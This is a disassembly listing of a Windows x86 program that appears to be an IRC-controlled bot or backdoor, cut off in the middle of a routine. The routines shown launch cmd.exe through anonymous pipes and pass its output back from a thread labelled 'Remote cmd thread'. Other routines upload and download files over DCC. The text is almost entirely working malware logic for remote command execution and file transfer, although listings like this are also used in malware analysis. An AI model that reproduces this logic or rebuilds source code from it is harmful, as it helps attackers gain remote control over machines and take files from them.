		cmp	eax, 0Ah
		jz	short loc_401942
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_401957

loc_401942:				; CODE XREF: sub_4018AF+86j
		push	offset dword_4181A4
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_40196E
; ---------------------------------------------------------------------------

loc_401957:				; CODE XREF: sub_4018AF+91j
		push	200h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407A56
		add	esp, 0Ch

loc_40196E:				; CODE XREF: sub_4018AF+A6j
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		leave
		retn
sub_4018AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401981	proc near		; DATA XREF: sub_401D6E+88o

var_730		= dword	ptr -730h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_714		= dword	ptr -714h
var_510		= byte ptr -510h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_334		= dword	ptr -334h
var_330		= word ptr -330h
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= byte ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= byte ptr -30Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 730h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_714]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, 1F4h
		mov	dword_41DEFC, eax
		push	0
		lea	eax, [ebp+var_30C]
		push	eax
		push	104h
		push	0
		push	offset aCmd_exe	; "cmd.exe"
		push	0
		call	dword_41706C	; SearchPathA
		test	eax, eax
		jnz	short loc_4019ED
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------

loc_4019ED:				; CODE XREF: sub_401981+57j
		mov	[ebp+var_318], 0Ch
		mov	[ebp+var_310], 1
		and	[ebp+var_314], 0
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		lea	eax, [ebp+var_364]
		push	eax
		call	dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A41
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------

loc_401A41:				; CODE XREF: sub_401981+A6j
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_36C]
		push	eax
		lea	eax, [ebp+var_728]
		push	eax
		call	dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A7A
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------

loc_401A7A:				; CODE XREF: sub_401981+DFj
		push	3
		push	0
		push	0
		push	offset dword_41DEF0
		call	dword_417074	; GetCurrentProcess
		push	eax
		push	[ebp+var_36C]
		call	dword_417074	; GetCurrentProcess
		push	eax
		call	dword_4170F0	; DuplicateHandle
		test	eax, eax
		jnz	short loc_401ABB
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------

loc_401ABB:				; CODE XREF: sub_401981+120j
		push	10h
		push	0
		lea	eax, [ebp+var_724]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	44h
		push	0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_360], 44h
		mov	[ebp+var_334], 101h
		and	[ebp+var_330], 0
		mov	eax, [ebp+var_728]
		mov	[ebp+var_328], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_324], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_320], eax
		lea	eax, [ebp+var_724]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	0
		push	0
		push	0
		push	1
		push	0
		push	0
		push	offset byte_41DF00
		lea	eax, [ebp+var_30C]
		push	eax
		call	dword_41707C	; CreateProcessA
		test	eax, eax
		jnz	short loc_401B69
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------

loc_401B69:				; CODE XREF: sub_401981+1CEj
		push	[ebp+var_728]
		call	dword_4170A4	; CloseHandle
		mov	eax, [ebp+var_364]
		mov	dword_41DEF4, eax
		mov	eax, [ebp+var_36C]
		mov	dword_41DEE8, eax
		mov	eax, [ebp+var_724]
		mov	dword_41DEEC, eax
		push	[ebp+var_720]
		call	dword_4170A4	; CloseHandle
		and	[ebp+var_4], 0
		and	[ebp+var_208], 0

loc_401BAD:				; CODE XREF: sub_401981+2E9j
					; sub_401981+39Cj
		mov	eax, [ebp+var_714]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401BBE
		jmp	loc_401D22
; ---------------------------------------------------------------------------

loc_401BBE:				; CODE XREF: sub_401981+236j
		and	[ebp+var_208], 0
		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		push	dword_41DEF4
		call	dword_417080	; PeekNamedPipe
		test	eax, eax
		jnz	short loc_401C17
		push	offset aCouldNotReadDa ; "Could	not read data from process."
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------

loc_401C17:				; CODE XREF: sub_401981+27Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_401C6F
		mov	[ebp+var_730], 103h
		lea	eax, [ebp+var_730]
		push	eax
		push	dword_41DEEC
		call	dword_417084	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_401C62
		cmp	[ebp+var_730], 103h
		jz	short loc_401C62
		push	offset aCmd_exeProcess ; "Cmd.exe process has terminated."
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------

loc_401C62:				; CODE XREF: sub_401981+2BBj
					; sub_401981+2C7j
		push	0Ah
		call	dword_41709C	; Sleep
		jmp	loc_401BAD
; ---------------------------------------------------------------------------

loc_401C6F:				; CODE XREF: sub_401981+29Aj
		and	[ebp+var_72C], 0
		jmp	short loc_401C85
; ---------------------------------------------------------------------------

loc_401C78:				; CODE XREF: sub_401981:loc_401CAFj
		mov	eax, [ebp+var_72C]
		inc	eax
		mov	[ebp+var_72C], eax

loc_401C85:				; CODE XREF: sub_401981+2F5j
		mov	eax, [ebp+var_72C]
		cmp	eax, [ebp+var_4]
		jnb	short loc_401CB1
		mov	eax, [ebp+var_72C]
		movsx	eax, [ebp+eax+var_204]
		cmp	eax, 0Ah
		jnz	short loc_401CAF
		mov	[ebp+var_208], 1
		jmp	short loc_401CB1
; ---------------------------------------------------------------------------

loc_401CAF:				; CODE XREF: sub_401981+320j
		jmp	short loc_401C78
; ---------------------------------------------------------------------------

loc_401CB1:				; CODE XREF: sub_401981+30Dj
					; sub_401981+32Cj
		cmp	[ebp+var_208], 0
		jz	short loc_401CC6
		mov	eax, [ebp+var_72C]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_401CCD
; ---------------------------------------------------------------------------

loc_401CC6:				; CODE XREF: sub_401981+337j
		mov	[ebp+var_4], 200h

loc_401CCD:				; CODE XREF: sub_401981+343j
		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		lea	eax, [ebp+var_31C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_204]
		push	eax
		push	dword_41DEF4
		call	dword_417088	; ReadFile
		test	eax, eax
		jnz	short loc_401D08
		jmp	short loc_401D22
; ---------------------------------------------------------------------------

loc_401D08:				; CODE XREF: sub_401981+383j
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401BAD
; ---------------------------------------------------------------------------

loc_401D22:				; CODE XREF: sub_401981+238j
					; sub_401981+291j ...
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_401D35:				; CODE XREF: sub_401981+67j
					; sub_401981+BBj ...
		leave
		retn	4
sub_401981	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D39	proc near		; CODE XREF: sub_401D6E+AFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	dword_41DEF0
		call	dword_417068	; WriteFile
		test	eax, eax
		jnz	short loc_401D69
		xor	eax, eax
		jmp	short locret_401D6C
; ---------------------------------------------------------------------------

loc_401D69:				; CODE XREF: sub_401D39+2Aj
		push	1
		pop	eax

locret_401D6C:				; CODE XREF: sub_401D39+2Ej
		leave
		retn
sub_401D39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D6E	proc near		; CODE XREF: sub_40A9CF+14A0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_401DA6
		cmp	[ebp+arg_4], 0
		jnz	short loc_401D8B
		jmp	locret_401E36
; ---------------------------------------------------------------------------

loc_401D8B:				; CODE XREF: sub_401D6E+16j
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		jmp	locret_401E36
; ---------------------------------------------------------------------------

loc_401DA6:				; CODE XREF: sub_401D6E+10j
		push	3A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_401DBC
		jmp	short locret_401E36
; ---------------------------------------------------------------------------

loc_401DBC:				; CODE XREF: sub_401D6E+4Aj
		cmp	[ebp+arg_4], 0
		jz	short loc_401DD9
		push	200h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch

loc_401DD9:				; CODE XREF: sub_401D6E+52j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aRemoteCmdThrea ; "Remote cmd thread"
		push	1
		push	[ebp+var_4]
		push	offset sub_401981
		call	sub_4095A4
		add	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_401E0B
		jmp	short locret_401E36
; ---------------------------------------------------------------------------

loc_401E0B:				; CODE XREF: sub_401D6E+99j
		push	offset asc_418214 ; "\r\n"
		push	[ebp+arg_4]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		call	sub_401D39
		pop	ecx
		test	eax, eax
		jnz	short locret_401E36
		push	offset aErrorWhileExec ; "Error	while executing	command."
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx

locret_401E36:				; CODE XREF: sub_401D6E+18j
					; sub_401D6E+33j ...
		leave
		retn
sub_401D6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E38	proc near		; DATA XREF: sub_4024F3+10Bo

var_614		= qword	ptr -614h
var_60C		= qword	ptr -60Ch
var_604		= dword	ptr -604h
var_600		= dword	ptr -600h
var_5FC		= dword	ptr -5FCh
var_5F8		= dword	ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= dword	ptr -5E8h
var_5E4		= dword	ptr -5E4h
var_5E0		= dword	ptr -5E0h
var_5DC		= byte ptr -5DCh
var_5BB		= byte ptr -5BBh
var_4B7		= byte ptr -4B7h
var_3B7		= byte ptr -3B7h
var_3AD		= byte ptr -3ADh
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 604h
		push	3D6h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5E0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_5BB]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp+var_5BB]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_5E4], eax
		cmp	[ebp+var_5E4], 0
		jnz	short loc_401EA3
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------

loc_401EA3:				; CODE XREF: sub_401E38+56j
		push	2710h
		push	0
		lea	eax, [ebp+var_3B7]
		push	eax
		lea	eax, [ebp+var_4B7]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_401EEE
		push	[ebp+var_5E4]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------

loc_401EEE:				; CODE XREF: sub_401E38+95j
		lea	eax, [ebp+var_5DC]
		push	eax
		lea	eax, [ebp+var_5BB]
		push	eax
		mov	eax, [ebp+var_5E0]
		push	dword ptr [eax]
		push	offset dword_418280
		lea	eax, [ebp+var_3AD]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64	; clock
		mov	[ebp+var_5E8], eax
		and	[ebp+var_204], 0

loc_401F2A:				; CODE XREF: sub_401E38:loc_401FD8j
		push	0
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_208]
		call	dword_417248	; recv
		mov	[ebp+var_5F0], eax
		cmp	[ebp+var_5F0], 0
		jz	short loc_401F5F
		cmp	[ebp+var_5F0], 200h
		jbe	short loc_401F61

loc_401F5F:				; CODE XREF: sub_401E38+119j
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------

loc_401F61:				; CODE XREF: sub_401E38+125j
		mov	eax, [ebp+var_204]
		add	eax, [ebp+var_5F0]
		mov	[ebp+var_204], eax
		push	[ebp+var_204]
		call	dword_41724C	; htonl
		mov	[ebp+var_5F4], eax
		push	4
		lea	eax, [ebp+var_5F4]
		push	eax
		push	[ebp+var_208]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5E4]
		push	[ebp+var_5F0]
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B7C	; fwrite
		add	esp, 10h
		cmp	[ebp+var_5F0], 200h
		jnb	short loc_401FC7
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------

loc_401FC7:				; CODE XREF: sub_401E38+18Bj
		mov	eax, [ebp+var_5E0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401FD8
		jmp	loc_4020BC
; ---------------------------------------------------------------------------

loc_401FD8:				; CODE XREF: sub_401E38+199j
		jmp	loc_401F2A
; ---------------------------------------------------------------------------

loc_401FDD:				; CODE XREF: sub_401E38:loc_401F5Fj
					; sub_401E38+18Dj
		push	[ebp+var_5E4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_5EC], eax
		call	sub_416B64	; clock
		cmp	[ebp+var_5E8], eax
		jnz	short loc_402008
		call	sub_416B64	; clock
		dec	eax
		mov	[ebp+var_5E8], eax

loc_402008:				; CODE XREF: sub_401E38+1C2j
		mov	eax, [ebp+var_5EC]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp+var_5F8], eax
		fild	[ebp+var_5F8]
		fstp	[ebp+var_5FC]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_5E8]
		mov	[ebp+var_600], eax
		fild	[ebp+var_600]
		fdiv	flt_417270
		fdivr	[ebp+var_5FC]
		push	ecx
		push	ecx
		fstp	[esp+60Ch+var_60C]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_5E8]
		mov	[ebp+var_604], eax
		fild	[ebp+var_604]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+614h+var_614]
		lea	eax, [ebp+var_5DC]
		push	eax
		lea	eax, [ebp+var_5BB]
		push	eax
		push	offset dword_418234
		lea	eax, [ebp+var_3AD]
		push	eax
		call	sub_40D53F
		add	esp, 20h

loc_402094:				; CODE XREF: sub_401E38:loc_4020BCj
		push	[ebp+var_5E4]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_208]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4020BE
; ---------------------------------------------------------------------------

loc_4020BC:				; CODE XREF: sub_401E38+19Bj
		jmp	short loc_402094
; ---------------------------------------------------------------------------

locret_4020BE:				; CODE XREF: sub_401E38+66j
					; sub_401E38+B1j ...
		leave
		retn	4
sub_401E38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020C2	proc near		; DATA XREF: sub_40260D+7Co

var_A2C		= qword	ptr -0A2Ch
var_A24		= qword	ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= byte ptr -0A04h
var_9FC		= dword	ptr -9FCh
var_9F8		= dword	ptr -9F8h
var_9F4		= dword	ptr -9F4h
var_9F0		= byte ptr -9F0h
var_8EC		= dword	ptr -8ECh
var_8E8		= dword	ptr -8E8h
var_8E4		= dword	ptr -8E4h
var_8E0		= byte ptr -8E0h
var_8BF		= byte ptr -8BFh
var_8BE		= byte ptr -8BEh
var_7BB		= byte ptr -7BBh
var_618		= dword	ptr -618h
var_614		= byte ptr -614h
var_210		= byte ptr -210h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A1Ch
		push	2CCh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_8E4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_8BF]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_9F8], eax
		jmp	short loc_40210D
; ---------------------------------------------------------------------------

loc_402100:				; CODE XREF: sub_4020C2:loc_40215Ej
		mov	eax, [ebp+var_9F8]
		dec	eax
		mov	[ebp+var_9F8], eax

loc_40210D:				; CODE XREF: sub_4020C2+3Cj
		cmp	[ebp+var_9F8], 0
		jnz	short loc_40212D
		lea	eax, [ebp+var_8BF]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------

loc_40212D:				; CODE XREF: sub_4020C2+52j
		mov	eax, [ebp+var_9F8]
		movsx	eax, [ebp+eax+var_8BF]
		cmp	eax, 5Ch
		jnz	short loc_40215E
		mov	eax, [ebp+var_9F8]
		lea	eax, [ebp+eax+var_8BE]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------

loc_40215E:				; CODE XREF: sub_4020C2+7Cj
		jmp	short loc_402100
; ---------------------------------------------------------------------------

loc_402160:				; CODE XREF: sub_4020C2+69j
					; sub_4020C2+9Aj
		mov	[ebp+var_8E8], 10h
		lea	eax, [ebp+var_8E8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40CF25
		push	eax
		call	dword_417240	; getsockname
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_614]
		push	eax
		push	[ebp+var_8E8]
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_41DF58	; getnameinfo
		test	eax, eax
		jz	short loc_4021BA
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------

loc_4021BA:				; CODE XREF: sub_4020C2+E3j
		push	0Ah
		lea	eax, [ebp+var_A04]
		push	eax
		push	1388h
		push	400h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		lea	eax, [ebp+var_A04]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_9FC], eax
		cmp	[ebp+var_9FC], 0
		jnz	short loc_40220F
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------

loc_40220F:				; CODE XREF: sub_4020C2+138j
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_8BF]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8EC], eax
		cmp	[ebp+var_8EC], 0
		jnz	short loc_402250
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------

loc_402250:				; CODE XREF: sub_4020C2+16Dj
		push	2
		push	0
		push	[ebp+var_8EC]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_8EC]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_A08], eax
		push	0
		push	0
		push	[ebp+var_8EC]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		lea	eax, [ebp+var_614]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset aDccSendSS ; "DCC Send %s (%s)"
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_40D420
		add	esp, 10h
		push	[ebp+var_A08]
		lea	eax, [ebp+var_A04]
		push	eax
		lea	eax, [ebp+var_614]
		push	eax
		call	dword_417244	; inet_addr
		push	eax
		call	dword_41724C	; htonl
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_418348
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_40D4AB
		add	esp, 18h
		push	0EA60h
		push	[ebp+var_9FC]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_618], eax
		cmp	[ebp+var_618], 0
		jz	short loc_40230F
		cmp	[ebp+var_618], 0FFFFFFFFh
		jnz	short loc_40233A

loc_40230F:				; CODE XREF: sub_4020C2+242j
		push	[ebp+var_8EC]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------

loc_40233A:				; CODE XREF: sub_4020C2+24Bj
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		mov	eax, [ebp+var_8E4]
		push	dword ptr [eax]
		push	offset dword_418320
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64	; clock
		mov	[ebp+var_9F4], eax

loc_40236F:				; CODE XREF: sub_4020C2:loc_40240Dj
		push	[ebp+var_8EC]
		push	200h
		push	1
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_A0C], eax
		cmp	[ebp+var_A0C], 0
		jz	short loc_4023A6
		cmp	[ebp+var_A0C], 200h
		jbe	short loc_4023A8

loc_4023A6:				; CODE XREF: sub_4020C2+2D6j
		jmp	short loc_402412
; ---------------------------------------------------------------------------

loc_4023A8:				; CODE XREF: sub_4020C2+2E2j
		push	[ebp+var_A0C]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_618]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4023EE
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_4182F4
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_4024ED
; ---------------------------------------------------------------------------

loc_4023EE:				; CODE XREF: sub_4020C2+303j
		cmp	[ebp+var_A0C], 200h
		jnb	short loc_4023FC
		jmp	short loc_402412
; ---------------------------------------------------------------------------

loc_4023FC:				; CODE XREF: sub_4020C2+336j
		mov	eax, [ebp+var_8E4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40240D
		jmp	loc_4024EB
; ---------------------------------------------------------------------------

loc_40240D:				; CODE XREF: sub_4020C2+344j
		jmp	loc_40236F
; ---------------------------------------------------------------------------

loc_402412:				; CODE XREF: sub_4020C2:loc_4023A6j
					; sub_4020C2+338j
		call	sub_416B64	; clock
		cmp	[ebp+var_9F4], eax
		jnz	short loc_40242B
		call	sub_416B64	; clock
		dec	eax
		mov	[ebp+var_9F4], eax

loc_40242B:				; CODE XREF: sub_4020C2+35Bj
		mov	eax, [ebp+var_A08]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp+var_A10], eax
		fild	[ebp+var_A10]
		fstp	[ebp+var_A14]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_9F4]
		mov	[ebp+var_A18], eax
		fild	[ebp+var_A18]
		fdiv	flt_417270
		fdivr	[ebp+var_A14]
		push	ecx
		push	ecx
		fstp	[esp+0A24h+var_A24]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_9F4]
		mov	[ebp+var_A1C], eax
		fild	[ebp+var_A1C]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+0A2Ch+var_A2C]
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_4182B0
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 20h

loc_4024B7:				; CODE XREF: sub_4020C2:loc_4024EBj
					; sub_4020C2:loc_4024EDj
		push	[ebp+var_618]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_8EC]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4024EF
; ---------------------------------------------------------------------------

loc_4024EB:				; CODE XREF: sub_4020C2+346j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------

loc_4024ED:				; CODE XREF: sub_4020C2+327j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------

locret_4024EF:				; CODE XREF: sub_4020C2+F3j
					; sub_4020C2+148j ...
		leave
		retn	4
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024F3	proc near		; CODE XREF: sub_40D871+203p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_402511
		cmp	[ebp+arg_8], 0
		jz	short loc_402511
		cmp	[ebp+arg_C], 0
		jz	short loc_402511
		cmp	[ebp+arg_10], 0
		jnz	short loc_402516

loc_402511:				; CODE XREF: sub_4024F3+Aj
					; sub_4024F3+10j ...
		jmp	locret_40260B
; ---------------------------------------------------------------------------

loc_402516:				; CODE XREF: sub_4024F3+1Cj
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_402531
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_402536

loc_402531:				; CODE XREF: sub_4024F3+33j
		jmp	locret_40260B
; ---------------------------------------------------------------------------

loc_402536:				; CODE XREF: sub_4024F3+3Cj
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_402551
		cmp	[ebp+var_8], 40000000h
		jbe	short loc_402556

loc_402551:				; CODE XREF: sub_4024F3+53j
		jmp	locret_40260B
; ---------------------------------------------------------------------------

loc_402556:				; CODE XREF: sub_4024F3+5Cj
		push	3D6h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
